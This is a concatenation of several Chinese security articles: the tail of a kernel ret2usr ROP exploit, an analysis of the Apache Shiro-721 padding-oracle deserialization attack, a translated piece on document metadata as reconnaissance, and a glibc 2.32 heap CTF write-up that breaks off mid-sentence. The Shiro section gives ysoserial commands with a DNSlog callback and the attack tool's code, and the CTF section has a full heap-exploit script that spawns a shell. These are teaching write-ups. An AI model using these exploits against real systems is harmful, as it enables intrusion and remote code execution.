rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_eflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
core_write(rop,0x100);
core_copy_func(0xf000000000000100);
return 0;
}
编译:
gcc ret2usr.c -o ret2usr -w -static
运行:
可以发现这两个方法的代码非常的相似,因为原理都一样的....
# 总结
这个演示看起来很简单,但是在实际的操作过程当中会遇到很多问题,在内核态调试没有在用户态方便,崩溃了gdb居然断不下来,只能单步慢慢的定位问题.... | 社区文章 |
# 从更深层面看Shiro Padding Oracle漏洞
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、简介
Shiro，Apache
Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
Padding填充规则，我们的输入数据长度是不规则的，因此必然需要进行“填充”才能形成完整的“块”。简单地说，便是根据最后一个数据块所缺少的长度来选择填充的内容。例如，数据块长度要求是8字节，如果输入的最后一个数据块只有5个字节的数据，那么则在最后补充三个字节的0x3。如果输入的最后一个数据块正好为8字节长，则在最后补充一个完整的长为8字节的数据块，每个字节填0x8。如图-1所示，使用这个规则，我们便可以根据填充的内容来得知填充的长度，以便在解密后去除填充的字节。
Padding Oracle Attack，这种攻击利用了服务器在
CBC（密码块链接模式）加密模式中的填充测试漏洞。如果输入的密文不合法，类库则会抛出异常，这便是一种提示。攻击者可以不断地提供密文，让解密程序给出提示，不断修正，最终得到的所需要的结果。其中”Oracle”一词指的是“提示”，与甲骨文公司并无关联。加密时可以使用多种填充规则，但最常见的填充方式之一是在PKCS#5标准中定义的规则。PCKS#5的填充方式为：明文的最后一个数据块包含N个字节的填充数据（N取决于明文最后一块的数据长度）。下图是一些示例，展示了不同长度的单词（FIG、BANANA、AVOCADO、PLANTAIN、PASSIONFRUIT）以及它们使用PKCS#5填充后的结果（每个数据块为8字节长）。
##
图-1
### **二、加密方式拓普**
加密方式通常分为两大类：对称加密和非对称加密
对称加密又称单密钥加密，也就是字面意思，加密解密用的都是同一个密钥，常见的对称加密算法，例如DES、3DES、Blowfish、IDEA、RC4、RC5、RC6
和 AES。
非对称加密，就是说密钥分两个，一个公钥，一个私钥，加解密过程就是公钥加密私钥解密和私钥加密公钥匙解密，常见的非对称加密算法有，RSA、ECC（移动设备用）、Diffie-Hellman、El Gamal、DSA（数字签名用）等。
对称加密算法中一般分为两种加密模式：分组加密和序列密码
分组密码，也叫块加密(block
cyphers)，一次加密明文中的一个块。是将明文按一定的位长分组，明文组经过加密运算得到密文组，密文组经过解密运算（加密运算的逆运算），还原成明文组。
序列密码，也叫流加密(stream
cyphers)，一次加密明文中的一个位。是指利用少量的密钥（制乱元素）通过某种复杂的运算（密码算法）产生大量的伪随机位流，用于对明文位流的加密。
这里举例介绍对称加密算法的AES分组加密的五种工作体制：
1. 电码本模式（Electronic Codebook Book (ECB)）
2. 密码分组链接模式（Cipher Block Chaining (CBC)）
3. 计算器模式（Counter (CTR)）
4. 密码反馈模式（Cipher FeedBack (CFB)）
5. 输出反馈模式（Output FeedBack (OFB)）
#### **【一】、ECB-电码本模式**
这种模式是将明文分为若干块等长的小段，然后对每一小段进行加密解密
#### **【二】、CBC-密码分组链接模式**
跟ECB一样，先将明文分为等长的小段，但是此时会获取一个随机的 “初始向量(IV)”
参与算法。正是因为IV的参入，由得相同的明文在每一次CBC加密得到的密文不同。
再看看图中的加密原理，很像是数据结构中的链式结构，第一个明文块会和IV进行异或运算，然后和密匙一起传入加密器得到密文块。并将该密文块与下一个明文块异或，以此类推。
#### **【三】、CTR-计算器模式**
计算器模式不常见，在CTR模式中，
有一个自增的算子，这个算子用密钥(K)加密之后的输出和明文(P)异或的结果得到密文(C)，相当于一次一密。这种加密方式简单快速，安全可靠，而且可以并行加密，但是在计算器不能维持很长的情况下，密钥只能使用一次。
#### **【四】、CFB-密码反馈模式**
直接看图吧
#### **【五】、OFB-输出反馈模式**
看图
从上述所述的几种工作机制中，都无一例外的将明文分成了等长的小段。所以当块不满足等长的时候，就会用Padding的方式来填充目标。
### **三、Padding Oracle攻击原理讲解**
当应用程序接受到加密后的值以后，它将返回三种情况：
1. 接受到正确的密文之后（填充正确且包含合法的值），应用程序正常返回（200 – OK）。
2. 接受到非法的密文之后（解密后发现填充不正确），应用程序抛出一个解密异常（500 – Internal Server Error）。
3. 接受到合法的密文（填充正确）但解密后得到一个非法的值，应用程序显示自定义错误消息（200 – OK）。
这里从freebuf借来一张图，上图简单的概述了”TEST”的解密过程，首先输入密码经过加解密算法可以得到一个中间结果
，我们称之为中间值，中间值将会和初始向量IV进行异或运算后得到明文
那么攻击所需条件大致如下
1. 拥有密文，这里的密文是“F851D6CC68FC9537”
2. 知道初始向量IV
3. 能够了解实时反馈，如服务器的200、500等信息。
密文和IV其实可以通过url中的参数得到，例如有如下
http://sampleapp/home.jsp?UID=6D367076036E2239F851D6CC68FC9537
上述参数中的“6D367076036E2239F851D6CC68FC9537”拆分来看就是
IV和密文的组合，所以可以得到IV是“6D367076036E2239”
再来看看CBC的解密过程
已经有IV、密文，只有Key和明文未知。再加上Padding机制。可以尝试在IV全部为0的情况下会发生什么
Request: http://sampleapp/home.jsp?UID=0000000000000000F851D6CC68FC9537
Response: 500 – Internal Server Error
得到一个500异常，这是因为填充的值和填充的数量不一致
倘如发送如下数据信息的时候：
Request: http://sampleapp/home.jsp?UID=000000000000003CF851D6CC68FC9537
Response: 200 OK
最后的字节位上为0x01，正好满足Padding机制的要求。
在这个情况下，我们便可以推断出中间值（Intermediary Value）的最后一个字节，因为我们知道它和0x3C异或后的结果为0x01，于是：
因为 [Intermediary Byte] ^ 0x3C == 0x01,
得到 [Intermediary Byte] == 0x3C ^ 0x01,
所以 [Intermediary Byte] == 0x3D
以此类推，可以解密出所有的中间值
而此时块中的值已经全部填充为0x08了，IV的值也为“317B2B2A0F622E35”
再将原本的IV与已经推测出的中间值进行异或就可以得到明文了
当分块在一块之上时，如“ENCRYPT TEST”，攻击机制又是如何运作的呢？
其实原理还是一样，在CBC解密时，先将密文的第一个块进行块解密，然后将结果与IV异或，就能得到明文，同时，本次解密的输入密文作为下一个块解密的IV。
### **四、Shiro反序列化复现**
该漏洞是Apache Shiro的issue编号为SHIRO-721的漏洞
官网给出的详情是：
> RememberMe使用AES-128-CBC模式加密，容易受到Padding
> Oracle攻击，AES的初始化向量iv就是rememberMe的base64解码后的前16个字节，攻击者只要使用有效的RememberMe
> cookie作为Padding Oracle Attack
> 的前缀，然后就可以构造RememberMe进行反序列化攻击，攻击者无需知道RememberMe加密的密钥。
相对于之前的SHIRO-550来说，这次的攻击者是无需提前知道加密的密钥。
Shiro-721所影响的版本：
1.2.5,
1.2.6,
1.3.0,
1.3.1,
1.3.2,
1.4.0-RC2,
1.4.0,
1.4.1
复现漏洞首先就是搭建环境，我这里从网上整了一个Shiro1.4.1的版本，漏洞环境链接：<https://github.com/3ndz/Shiro-721/blob/master/Docker/src/samples-web-1.4.1.war>
先登陆抓包看一下
此时有个RememberMe的功能，启用登陆后会set一个RememberMe的cookie
我在网上找到一个利用脚本，我就用这个脚本来切入分析
脚本地址：<https://github.com/longofo/PaddingOracleAttack-Shiro-721>
首先利用ceye.io来搞一个DNSlog。来作为yaoserial生成的payload
java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "ping %USERNAME%.jdjwu7.ceye.io" > payload.class
用法如下：
java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath
因为Shiro是用AES-CBC加密模式，所以blockSize的大小就是16
运行后会在后台不断爆破，payload越长所需爆破时间就越长。
将爆破的结果复制替换之前的cookie
就能成功触发payload收到回信了
### **五、Shiro反序列化分析**
还是结合代码来理解会更好的了解到漏洞的原理。
shrio处理Cookie的时候有专门的类—-CookieRememberMeManager，而CookieRememberMeManager是继承与AbstractRememberMeManager
在AbstractRememberMeManager类中有如下一段代码
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}
其中getRememberedSerializedIdentity函数解密了base64，跟进去看看
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
"servlet request and response in order to retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
}
WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}
该函数读取Cookie中的值，并decode传入的Cookie
在接着看刚才的getRememberedPrincipals函数，解密后的数组进入了convertBytesToPrincipals
principals = convertBytesToPrincipals(bytes, subjectContext);
跟进去看看
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
getCipherService()是返回了CipherService实例
该实例在被初始化的时候就已经确定为AES实例
并在getCipherService()返回不为空，调用this.decrypt()
再跟进后发现进入了JcaCipherService的decrypt方法
public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
byte[] encrypted = ciphertext;
//No IV, check if we need to read the IV from the stream:
byte[] iv = null;
if (isGenerateInitializationVectors(false)) {
try {
//We are generating IVs, so the ciphertext argument array is not actually 100% cipher text. Instead, it
//is:
// - the first N bytes is the initialization vector, where N equals the value of the
// 'initializationVectorSize' attribute.
// - the remaining bytes in the method argument (arg.length - N) is the real cipher text.
//So we need to chunk the method argument into its constituent parts to find the IV and then use
//the IV to decrypt the real ciphertext:
int ivSize = getInitializationVectorSize();
int ivByteSize = ivSize / BITS_PER_BYTE;
//now we know how large the iv is, so extract the iv bytes:
iv = new byte[ivByteSize];
System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);
//remaining data is the actual encrypted ciphertext. Isolate it:
int encryptedSize = ciphertext.length - ivByteSize;
encrypted = new byte[encryptedSize];
System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
} catch (Exception e) {
String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
throw new CryptoException(msg, e);
}
}
return decrypt(encrypted, key, iv);
}
其中ivSize是128，BITS_PER_BYTE是8，所以iv的长度就是16
并且将数组的前16为取作为IV，然后再传入下一个解密方法
private ByteSource decrypt(byte[] ciphertext, byte[] key, byte[] iv) throws CryptoException {
if (log.isTraceEnabled()) {
log.trace("Attempting to decrypt incoming byte array of length " +
(ciphertext != null ? ciphertext.length : 0));
}
byte[] decrypted = crypt(ciphertext, key, iv, javax.crypto.Cipher.DECRYPT_MODE);
return decrypted == null ? null : ByteSource.Util.bytes(decrypted);
}
这里的crypt方法会检测填充是否正确
将处理后的数据一步步返回给convertBytesToPrincipals方法中的deserialize(bytes)
其实就是org.apache.shiro.io.DefaultSerializer的deserialize方法
造成最终的反序列化漏洞。
### **六、利用代码分析**
我本来想直接贴代码注释的，但是想了想，不如用图文并茂的方式来呈现。更能让读者理解，同时也能激发读者的空间想象力带入到程序的运行步骤中。
就先从encrypt方法开始吧
public String encrypt(byte[] nextBLock) throws Exception {
logger.debug("Start encrypt data...");
byte[][] plainTextBlocks = ArrayUtil.splitBytes(this.plainText, this.blockSize); //按blocksize大小分割plainText
if (nextBLock == null || nextBLock.length == 0 || nextBLock.length != this.blockSize) {
logger.warn("You provide block's size is not equal blockSize,try to reset it...");
nextBLock = new byte[this.blockSize];
}
byte randomByte = (byte) (new Random()).nextInt(127);
Arrays.fill(nextBLock, randomByte);
byte[] result = nextBLock;
byte[][] reverseplainTextBlocks = ArrayUtil.reverseTwoDimensionalBytesArray(plainTextBlocks);//反转数组顺序
this.encryptBlockCount = reverseplainTextBlocks.length;
logger.info(String.format("Total %d blocks to encrypt", this.encryptBlockCount));
for (byte[] plainTextBlock : reverseplainTextBlocks) {
nextBLock = this.getBlockEncrypt(plainTextBlock, nextBLock); //加密块，
result = ArrayUtil.mergerArray(nextBLock, result); //result中容纳每次加密后的内容
this.encryptBlockCount -= 1;
logger.info(String.format("Left %d blocks to encrypt", this.encryptBlockCount));
}
logger.info(String.format("Generate payload success, send request count => %s", this.requestCount));
return Base64.getEncoder().encodeToString(result);
}
传进来的参数是null，所以nextBLock的值是由random伪随机函数生成的，然后反转数组中的顺序
这里将分好块的payload带入到getBlockEncrypt方法中
privatebyte[] getBlockEncrypt(byte[] PlainTextBlock, byte[] nextCipherTextBlock) throws Exception {
byte[] tmpIV = newbyte[this.blockSize];
byte[] encrypt = newbyte[this.blockSize];
Arrays.fill(tmpIV, (byte) 0); //初始化tmpIVfor (int index = this.blockSize - 1; index >= 0; index--) {
tmpIV[index] = this.findCharacterEncrypt(index, tmpIV, nextCipherTextBlock); //函数返回测试成功后的中间值
logger.debug(String.format("Current string => %s, the %d block", ArrayUtil.bytesToHex(ArrayUtil.mergerArray(tmpIV, nextCipherTextBlock)), this.encryptBlockCount));
}
for (int index = 0; index < this.blockSize; index++) {
encrypt[index] = (byte) (tmpIV[index] ^ PlainTextBlock[index]); //中间值与明文块异或得到IV,也就是上一个加密块的密文
}
return encrypt;
}
将tmpIV全部初始为0，记住这里循环了blockSize次
接着往下跟this.findCharacterEncrypt()
private byte findCharacterEncrypt(int index, byte[] tmpIV, byte[] nextCipherTextBlock) throws Exception {
if (nextCipherTextBlock.length != this.blockSize) {
throw new Exception("CipherTextBlock size error!!!");
}
byte paddingByte = (byte) (this.blockSize - index); //本次需要填充的字节
byte[] preBLock = new byte[this.blockSize];
Arrays.fill(preBLock, (byte) 0);
for (int ix = index; ix < this.blockSize; ix++) {
preBLock[ix] = (byte) (paddingByte ^ tmpIV[ix]); //更新IV
}
for (int c = 0; c < 256; c++) {
//nextCipherTextBlock[index] < 256，那么在这个循环结果中构成的结果还是range(1,256)
//所以下面两种写法都是正确的，当时看到原作者使用的是第一种方式有点迷，测试了下都可以
// preBLock[index] = (byte) (paddingByte ^ nextCipherTextBlock[index] ^ c);
preBLock[index] = (byte) c;
byte[] tmpBLock1 = Base64.getDecoder().decode(this.loginRememberMe); //RememberMe数据
byte[] tmpBlock2 = ArrayUtil.mergerArray(preBLock, nextCipherTextBlock); //脏数据
byte[] tmpBlock3 = ArrayUtil.mergerArray(tmpBLock1, tmpBlock2);
String remeberMe = Base64.getEncoder().encodeToString(tmpBlock3);
if (this.checkPaddingAttackRequest(remeberMe)) {
return (byte) (preBLock[index] ^ paddingByte); //返回中间值
}
}
throw new Exception("Occurs errors when find encrypt character, could't find a suiteable Character!!!");
}
因为需要爆破的块是第几块所填充的字节就是多少，所以这里用blockSize-index算出本次循环需要填充的字节数
然后在函数的第一个for循环处，是为了每次爆破完上一个IV，将计算出的中间值更新到tmpIV中，此时计算下一个时候只需要与下一个要匹配的值异或就能得到本次的IV。(如果这里没理解透的一定要多看几遍Padding填充原理)
接下来就是爆破，循环256次依次爆破出正确的IV值。
这里的mergerArray方法就是将参数二衔接到参数一的后面，组成一个新的字节数组
这里借助@Mote前辈的一张图：
可以了解到之后所填充的脏数据是对反序列化没有影响的，通过这个机制就可以在之前的cookie上来运行Padding Oracle测试
如下便是加密第一个payload块时候所生成的脏数据
随后通过checkPaddingAttackRequest发送数据包测试，如果成功将IV与当前的填充字节异或就能得到中间值返回
当本块所有IV都推测出之后与payload异或
for (int index = 0; index < this.blockSize; index++) {
encrypt[index] = (byte) (tmpIV[index] ^ PlainTextBlock[index]);
//中间值与明文块异或得到IV,也就是上一个加密块的密文
}
为了让你们看清楚我标记的文字，我将背景字母模糊了一下
将所有的加密块加密后在经过Base64编码输出，就能得到完整利用的RememberMe Cookie了
### **七、给Payload瘦身**
因为加密密文块按照所划分的16个字节一块，如果一个3kb的payload所划分，能划分1024*3/16=192块!
所以payload的大小直接的影响了攻击所需成本(时间)
阅读先知的文章了解到，文章链接：<https://xz.aliyun.com/t/6227>
只需要将下述代码更改(注释是需要更改的代码)
publicstaticclass StubTransletPayload {}
/*
*PayloadMini
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
@Override
public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
*/
Reflections.setFieldValue(templates, "_bytecodes", newbyte[][] {classBytes});
/*
*PayloadMini
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
*/
然后重写打包yaoserial生成之前的payload
字节：2787kb -> 1402kb
直接从175块瘦身到了88块！
同时payload也能成功运行！
### **Reference：**
1. <https://www.cnblogs.com/wh4am1/p/6557184.html>
2. <https://blog.csdn.net/qq_25816185/article/details/81626499>
3. <https://github.com/wuppp/shiro_rce_exp/blob/master/paddingoracle.py>
4. <https://www.anquanke.com/post/id/192819>
5. 《白帽子讲Web安全》，吴翰清著
6. <https://www.freebuf.com/articles/web/15504.html>
7. <https://issues.apache.org/jira/browse/SHIRO-721>
8. <https://github.com/longofo/PaddingOracleAttack-Shiro-721>
9. <https://github.com/3ndz/Shiro-721/blob/master/Docker/src/samples-web-1.4.1.war>
10. <https://www.anquanke.com/post/id/193165>
11. <https://xz.aliyun.com/t/6227> | 社区文章 |
# 【技术分享】元数据：黑客最好的朋友（上）
|
##### 译文声明
本文是翻译文章，文章来源：sweepatic.com
原文地址：<https://blog.sweepatic.com/metadata-hackers-best-friend/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**传送门**
[**【技术分享】元数据：黑客最好的朋友（下）**](http://bobao.360.cn/learning/detail/4162.html)
**
**
**概述**
在这个系列文章中，我们将给大家介绍文档的元数据到底是什么东西，以及它为何能够成为对黑客来说最有价值的资源。一份文档的元数据将允许我们从中收集到各种各样高度敏感的数据，例如用户名、企业所使用的软件、以及共享文件的存储位置等等。因此，从最佳安全实践角度出发，我们将告诉大家如何找出自家公司所泄露的元数据。收集到这些元数据之后，我们会使用机器数据引擎Splunk来对数据进行加工处理。需要注意的是，这些信息不仅能够给你提供一种全新类型的威胁情报，而且还可以帮助你在投入开销非常低的情况下了解到组织或公司的信息安全状况。
**DEFCON更新**
如果你想了解更多有关网络侦察或情报资源收集的Demo或演讲的话，请关注今年的DEFCON大会（时间:本周末，地点：美国拉斯维加斯的凯撒宫），我们的技术研究团队将会在此次大会上与大家见面。如果你想跟我们直接沟通交流，请发送邮件到[[email protected]](https://blog.sweepatic.com/metadata-hackers-best-friend/[email protected])或直接来电骚扰（电话：+1(760)516-1384）。期待跟大家的见面！
**安全客小百科:元数据**
元数据（Metadata），又称中介数据或中继数据，即描述数据的数据。主要是描述数据属性（property）的信息，用来支持如指示存储位置、历史数据、资源查找、文件记录等功能。元数据算是一种电子式目录，为了达到编制目录的目的，必须在描述并收藏数据的内容或特色，进而达到协助数据检索的目的。元数据是关于数据的组织、数据域及其关系的信息，简言之，元数据就是关于数据的数据。
**文档的元数据到底是什么？**
每一个组织每天都会产生大量的文件，这些文件中的内容可以是通知、办公文档，或者是审核过后等待发布的内容。不过需要注意的是，作为一家企业或组织，你每天发布出去的信息绝对要比你想象的多！每当一个文档被成功创建，那么创建这个文档所用的软件信息便会被插入到一种叫做元数据的东西里面，而元数据就是一种用来描述数据的数据。这是什么意思呢？元数据并非文件的内容，元数据描述的是：
1.创建这个文件时所使用的软件（例如Microsoft Word 2007）
2.创建这个文件的用户（例如John.doe或u12345）
3.创建这个文件所使用的计算机名（例如Super Secret Lab PC N203）
4.文件的创建日期
5.文件的最后修改日期
6.文件的打印日期
7.文件共享给外网访问的磁盘路径地址（例如\DOC_SERVERDOCSPATENTSWormhole_travel_engine.docx）
8.以及。。。
文档元数据示例:
当你用某款软件创建或修改文档之后，这款软件便会自动将这些信息插入到文档中，插入信息的数量和种类取决于你所使用的软件以及配置。目前我们很少能够见到有哪个组织或企业会有意识地去限制这些元数据的传播，这些敏感信息的曝光和泄露将会吸引恶意攻击者的注意力，而你的竞争对手肯定也愿意花时间来分析这些元数据并从中了解你企业的内部情况。
**元数据 &网络侦察：黑客的宝藏**
一般来说，一个组织或企业所遇到的攻击者主要有以下三种类型：
1.脚本小子
2.高级攻击者（APT）
3.内部攻击者
关于内部攻击者的问题已经超出了本文所要讨论的范围了，而前两种攻击者之间也有很大的区别。脚本小子与高级攻击者之间最大的一个区别就是他们在一次[攻击活动](http://www.darkreading.com/attacks-breaches/deconstructing-the-cyber-kill-chain/a/d-id/1317542)中花在网络侦查阶段上的时间长短。
网络侦察通常是一次攻击活动中最重要的阶段，它甚至重要到可以决定这次攻击最终是否能够成功。攻击者在发动攻击之前需要寻找目标并提前制定“作战”计划，然后尽可能地收集到更多的信息来增加攻击的成功率。一般来说，攻击者要么会尝试寻找一种资产（例如未打补丁的联网服务器）或个人用户（例如财务部门的小张，他的电脑还运行着未更新的Windows
XP）。
攻击者可以通过[子域名枚举](https://blog.sweepatic.com/art-of-subdomain-enumeration/)来找出存在漏洞的服务器或暴露在外网的设备，然后用漏洞扫描工具来扫描漏洞。但如果你要攻击的是个人用户的话，那情况可能就会复杂一点了。因为此时将需要使用到LinkedIn之类的服务来收集公开情报资源，以此了解到目标所在组织的员工信息甚至完整的组织结构。那么攻击者如何才能直接找出目标组织中最有价值的那个用户呢？这就得看你的水平到底有多高了。
目标使用的是哪一款软件？如果使用的是LibreOffice而不是Microsoft Word的话，那么发送一个恶意VBA宏文件将没有任何意义。
目标使用的是什么操作系统？如果目标使用的是macOS，那我们发送一个针对Windows漏洞的Payload也是毫无意义的。
目标的用户名或电子邮箱地址呢？这些信息将在后渗透阶段给我们提供很大的帮助。
大多数组织会将共享文件存储在什么地方呢？当攻击者成功入侵该组织的网络系统之后，他可以选择进行横向渗透，或直接进行勒索软件攻击。
哪些承包商在为目标公司工作？有些情况下高级攻击者会选择目标组织的承包商或合作伙伴进行攻击，因为他们的安全措施也许并不牢固。
了解到这些东西之后，你还会直接将这些所有的数据直接发布到网络上任人随意下载和使用吗？应该不会了吧？很好…因为如果你在发布这些文件之前没有将元数据去除掉的话，你就非常危险了。文档的元数据中包含如此之多的信息(我们称这些信息为“Dark
Data”)，我敢打赌你可能今天才知道吧？这些Dark
Data不应该跟随文档一起发布出去，因为它将会成为一种巨大的安全威胁。你可能听说过GDPR（通用数据保护条例）吧?条例规定组织在发布文件或数据之后，要建立一个可维护的数据库或清单来存储这些文件数据。下图显示的是Sweepatic的敏感信息关系图（可通过Sweepatic的客户访问门户网站获取）：
这种类型的威胁情报信息是每一个组织和企业都应该收集的，虽然你也可以直接从厂商那里花钱购买威胁情报以及APT组织的IOC，但这样做成本太高了，而且买回来的绝大部分IOC估计都不适用于你的环境。因此我们建议你先了解自己会给攻击者暴露哪些东西，弄清楚自己公司的数字足迹（Digital
Footprint），至少你要先搞清楚需要保护哪些东西。
**后话**
在了解到了这些关于元数据的相关知识之后，接下来要怎么做呢？请大家继续关注安全客，我们会在《元数据：黑客最好的朋友》的下集中给大家分享我们处理元数据的秘密方法。我们会告诉大家如何从文档中提取元数据，并将其作为威胁情报来对目标进行网络侦察，敬请期待！ | 社区文章 |
# 从 VNCTF2021-ff 浅析 libc2.32 下 ptmalloc 新增的防护之指针异或加密
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前情提要
最近把VNCTF2021的题简单地看了看
其中有一道叫做 [ff](https://buuoj.cn/challenges#%5BVNCTF%202021%5Dff)
的题，大概是提供了分配、释放、编辑、打印堆块的功能，不过限制了只能打印一次、编辑两次，同时还限制了不能分配 `0x80` 以上的堆块
题目给出的libc版本为2.32，笔者原以为和libc2.31应当没有太大区别，故最初想的解法便是 1/16 的几率爆破到tcache
struct，exp如下：
from pwn import*
#context.log_level = 'debug'
global p
libc = ELF('./libc.so.6')#ELF('/lib/x86_64-linux-gnu/libc.so.6')
hit = [b'\x00', b'\x10', b'\x20', b'\x30', b'\x40', b'\x50', b'\x60', b'\x70', b'\x80', b'\x90', b'\xa0', b'\xb0', b'\xc0', b'\xd0', b'\xe0', b'\xf0']
def cmd(command:int):
p.recvuntil(b">>")
p.sendline(str(command).encode())
def new(size:int, content):
cmd(1)
p.recvuntil(b"Size:")
p.sendline(str(size).encode())
p.recvuntil(b"Content:")
p.send(content)
def free():
cmd(2)
def show():
cmd(3)
def edit(content):
cmd(5)
p.recvuntil(b"Content:")
p.send(content)
def exp(hit_byte):
new(0x80, b'arttnba3')
free()
edit(b'arttnba3' * 2)
free()
edit(b'\x10' + hit_byte)
new(0x80, b'arttnba3')
new(0x80, b'\x00\x00' * (0xe + 0x10 + 9) + b'\x07\x00')
free()
show()
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96
__malloc_hook = main_arena - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
log.success("[+] libc_base: " + hex(libc_base))
new(0x40, (b'\x01\x00' * 2).ljust(0x40, b'\x00'))
new(0x40, (b'\x01\x00' * 2).ljust(0x30, b'\x00') + p64(libc_base + libc.sym['__free_hook']) + p64(libc_base + libc.sym['__free_hook'] + 0x10))
new(0x10, p64(libc_base + libc.sym['system']))
new(0x20, b'/bin/sh\x00')
free()
p.interactive()
if __name__ == '__main__':
count = 1
i = 0
while True:
try:
print('the no.' + str(count) + 'try')
print(b'try: ' + hit[i])
p = remote('node3.buuoj.cn', 26454)#process('./ff')#
exp(hit[i])
except Exception as e:
p.close()
i = i + 1
count = count + 1
i = i % 16
continue
1/16 的几率，本地很快就通了，但是打远程一直爆破不出来，出现了两种报错信息：
* `malloc(): unaligned tcache chunk detected`
* `free(): invalid pointer`
出现这两种报错信息的原因都是 **堆块指针未对齐** ，笔者百思不得其解，只好将libc2.32的源码下载下来看看…
## glibc 2.31下的 tcache_put 与 tcache_get
我们先来看看在 `glibc 2.31` 中是如何操作 tcache 中的堆块的：
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}
在 `glibc2.31` 下，堆管理器在 `取/放` chunk时不会检测 tcache 中的堆块地址的合法性，也没有任何的诸如 `加密/解密`
等一系列的防护手段，完全就是一个裸的单向链表结构，利用起来易如反掌，只需要一个诸如 `UAF` 之类的漏洞就可以直接进行任意地址写
## glibc 2.32下的 tcache_put 与 tcache_get
但是在 `glibc 2.32` 中引入了一个简单的异或加密机制：
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
tcache->entries[tc_idx] = REVEAL_PTR (e->next);
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}
一、新增了在从 tcache 中取出 chunk 时会检测 chunk 地址是否对齐的保护
二、引入了两个新的宏对 tcache 中`存/取` chunk 的操作进行了一层保护，即在 new chunk 链接 tcache 中 old chunk
时会进行一次异或运算，代码如下：
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
即 **tcache_entry- >next中存放的chunk地址为与自身地址进行异或运算后所得到的值**， 这就要求我们在利用 tcache_entry
进行任意地址写之前 **需要我们提前泄漏出相应 chunk 的地址，即我们需要提前获得堆基址后才能进行任意地址写**
，这给传统的利用方式无疑是增加了不少的难度
不过若是我们能够直接控制 `tcache struct`，则仍然可以直接进行任意地址写，这是因为在 tcache struct
